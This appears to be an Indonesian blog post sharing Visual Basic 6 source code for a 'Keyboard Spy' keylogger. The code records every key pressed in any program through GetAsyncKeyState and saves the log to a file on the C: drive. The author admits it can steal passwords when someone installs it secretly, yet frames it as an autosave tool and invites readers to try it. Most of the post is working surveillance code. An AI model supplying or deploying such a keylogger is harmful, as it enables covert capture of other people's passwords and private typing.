Source Code Keyboard Spy

Seperti yang pernah saya singgung pada tulisan saya tentang Cara Menghindari Pencurian Password, dimana software Keyboard Spy adalah termasuk program yang dapat mengintip semua kegiatan Keyboard pada saat tombol tombolnya di tekan. Maka dengan begitu tentu saja password yang kita ketikkan pada program apapun, akan terpantau oleh software ini.

Bagusnya Program ini adalah, dia bisa dijadikan AutoSave untuk BackUp tulisan, jika pada saat kita menulis / mengetik, tiba tiba Listrik mati atau sambungan kabel lepas atau Hank Up, maka dia akan menyimpan tulisan kita. Akan tetapi kalau Program Keyboard Spy itu di installkan oleh orang lain, dan anda tidak tahu, maka semua rahasia anda akan terpantau oleh si penaruh program tersebut. Walah..

Ok kita langsung saja pada source codenya:

kode pada Form:

Private Sub Form_Load()
KillTimer Me.hwnd, 0 ' agar saat pertama run kotak text1 kosong
Text1.Text = ""
'memrintahkan timer system untuk mulai berjalan
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
'membuat folder pada "C:\\" dengan nama Failbekup.
If Dir("C:\\Failbekap") = " " Then
MkDir ("C:\\Failbekap")
End If
End Sub

Pada Modul:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, tombol As String, tOld As String, Ret As String
Dim Tel As Long

Function GetPressedKey() As String
For Cnt = 9 To 128
'mengambil status tombol keyboard
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> tOld Then
tOld = Ret
tombol = tombol + tOld
'kalau yg ditekan enter = ganti baris sekaligus menyimpan file.
If GetPressedKey = Chr(13) Then
Form1.Text1.SelText = tombol & vbNewLine
tombol = ""
Simpan
Exit Sub
End If
End If
End Sub

Sub Simpan()
Open ("C:\\Failbekap.txt") For Output As #1
Print #1, Form1.Text1
Close #1
End Sub

Setelah project anda selesai, silahkan di Run. Kemudian anda buka program apapun, Selama yang anda tekan adalah key ascii atau keypad maka kotak teks (Text1) akan merespon (menduplikat huruf)sesuai tombol yang anda tekan, kecuali tanda @, !, ?, < dan lainya.

Ok selamat mencoba, semoga berhasil.